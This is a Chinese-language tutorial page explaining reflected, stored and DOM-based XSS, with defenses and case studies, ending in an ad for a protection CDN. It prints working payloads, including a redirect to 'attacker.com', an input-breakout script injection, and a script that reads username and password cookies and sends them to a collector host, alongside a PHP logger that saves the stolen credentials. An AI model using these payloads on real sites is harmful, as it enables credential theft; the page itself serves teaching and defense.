zoukankan      html  css  js  c++  java
  • 什么是xss攻击

     概述:

    XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器
    执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列
    表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实
    施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨
    大的,是web安全的头号大敌。 

    什么是xss攻击

    xss攻击全称跨站脚本攻击是一种在web应用中的计算机安全漏洞,它允许web用户将代码植入到提供给其他用户使用的页面中

    攻击的条件

    实施xss攻击必须具备两个条件

    一.需要向web页面注入恶意代码

    二.这些恶意代码能够被浏览器成功的执行

    xss攻击的几种方式

    一.反射型xss,(非持久型)

    当某个站点存在xss漏洞时,这种攻击会通过url注入攻击脚本,只有当用户访问这个url时才会执行攻击脚本.

    举例案例:

    @app.route('/hello1')
    
    def hello1():
    
        name = request.args.get('name')
    
        response = '<h1>Hello, %s!</h1>' %name  

     这个视图函数接收用户通过查询字符串(url后面的参数)传入的数据,未做任何处理就把它直接插入到返回的响应主题中,返回给客户端,如果用户输入一段js代码作为查询参数name的值:

    http://127.0.0.1:5000/hello4?name=<script>alert('Bingo!')</script>  

    这时候客户端收到的响应将变成下面的代码

    <h1>Hello,<script>alert(‘Gingo!’)</script>!</h1>  

    当客户端收到响应后,浏览器解析这行代码会打开一个弹窗下图

    firefox浏览器(55.0版本)上的响应

     在chrome72.0版本上的响应

     在IE11上的响应

    结论:针对跨站攻击,某些浏览器已经进行了安全防范.

    重点说明:这里的案例只是一个简单的弹窗,这里能执行弹窗代码,说明任何js代码都可以被执行,那么getCookie这些代码就可以窃取用户cookie和其他敏感数据,重定向到钓鱼网站,发送其他请求,执行注入转账,发布广告信息,在社交网站关注某个用户等

    如果网站A存在XSS漏洞,攻击者将包含攻击代码的链接发送给网站A的用户Foo,当Foo访问这个链接时就会执行攻击代码,从而受到攻击。

    二.存储型XSS(持久型)

    存储型XSS也被称为持久型XSS(persistent XSS),这种类型的XSS攻击更常见,危害也更大。它和反射型XSS类似,不过会把攻击代码存储到数据库中,任何用户访问包含攻击代码的页面都会被殃及。

    比如,某个网站通过表单接收用户的留言,如果服务器接收数据后未经处理就存储到数据库中,那么用户可以在留言中出入任意javaScript代码。比如攻击者在留言中加入一行重定向代码:

    <script>window.location.href=”http://attacker.com”;<script>

    其他任意用户一旦访问关于这条留言的页面,包含这条留言的数据就会被浏览器解析,就会执行其中的javaScript脚本。那么这个用户所在页面就会被重定向到攻击者写入的站点。

    三.DOM-based 型

    基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞

    即使不插入js代码,通过HTML和XSS注入也可以影响页面正常的输出,篡改页面样式,插入图片等。

    如何防御xss攻击

    1. 对输入内容的特定字符进行编码,例如表示 html标记的 < > 等符号。 

    2. 对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。 

    3. 将不可信的值输出 URL参数之前,进行 URLEncode操作,而对于从 URL参数中获取值一定要进行格式检测(比如你需要的时URL,就判读是否满足URL格式)。 

    4. 不要使用 Eval来解析并运行不确定的数据或代码,对于 JSON解析请使用 JSON.parse() 方法。 

    5. 后端接口也应该要做到关键字符过滤的问题。 

    案例一:留言板的XSS攻击

    我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表

     因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入

     这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子

    利用xss窃取用户名密码

    当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。

    恶意用户会这么输入

     我们看看http://test.com/hack.js里藏了什么

    var username=CookieHelper.getCookie('username').value;
    var password=CookieHelper.getCookie('password').value;
    var script =document.createElement('script');
    script.src='http://test.com/index.php?username='+username+'&password='+password;
    document.body.appendChild(script);
    

    几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php

    发送了一个get请求

    来看一下http://test.com/index.php中的内容

    <?php
        if(!empty($_GET['password'])){
            $username=$_GET['username'];
            $password=$_GET['password'];
            
            try{
                $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
                $fp=fopen($path,'a');
                flock($fp, LOCK_EX);
                fwrite($fp, "$username	 $password
    ");
                flock($fp, LOCK_UN);
                fclose($fp);
            }catch(Exception $e){
     
            }
        }
    ?>
    

    这样恶意用户就把访问留言板的用户的信息窃取了 

      

    案例二:输入框的XSS攻击

     1、如果我直接在用户名这里输入<script>alert("1")</script>,然后输入一个错误的密码,并没有执行script代码,因为返回的html页面是这样的:

    说白了就是自己拼接,将input标签进行闭合,然后将script代码缀在后边。

    通过用户名的输入,将input拼接成如下,即可实现script代码的执行:

    <input name="userName" class="textcss" id="userName" type="text" value="abc"/><script>alert("1")</script>"/>

    为什么会执行?

    可以将拼接后的input拆分看一下,就很明白了

    <input name="userName" class="textcss" id="userName" type="text" value="abc"/>

    <script>alert("1")</script>

    "/>

    因为input已经闭合了,所以script代码会执行,至于拼接后的html文件是有语法错误的问题(因为最后剩下一个"/>,这个html是有错误的,但是不影响页面展示和script代码执行)就可以忽略了。

    因此,只需要在用户名那里输入:

    abc"/><script>alert("1")</script>

    然后输入一个错误的密码,点击登录,就会执行script代码,弹出弹框。

    参考网站: 

    https://blog.csdn.net/qq_41725536/article/details/85722124

    https://github.com/yvettelau/step-by-step/issues/18   跨站脚本攻击XSS案例及其解决方案  (推荐)

    结语:

    如今,各种类型网络攻击日益频繁,除了XSS攻击之外,比较常见的网络攻击类型还包括DDoS攻击、CC攻击等,它们非常难以防御,除了需要做好日常网络安全防护之外,还需要接入高防服务,可以接入天下数据高防cdn,通过天下数据高防cdn隐藏源IP,对攻击流量进行清洗,保障企业网络及业务的正常运行。

  • 相关阅读:
    ajax 发送请求无法重定向问题
    网页中转跳转的几种方式
    后台返回的HTML整个页面代码打开方法
    Json对象与Json字符串的转化、JSON字符串与Java对象的转换
    SpringMVC ModelAndView跳转失效
    springMVC中前台ajax传json数据后台controller接受对象为null
    $.ajax 中的contentType
    springMVC--请求的跳转和传值
    Windows NT WinLogon Notify
    虚拟机检测技术剖析
  • 原文地址:https://www.cnblogs.com/zmztya/p/14301590.html
Copyright © 2011-2022 走看看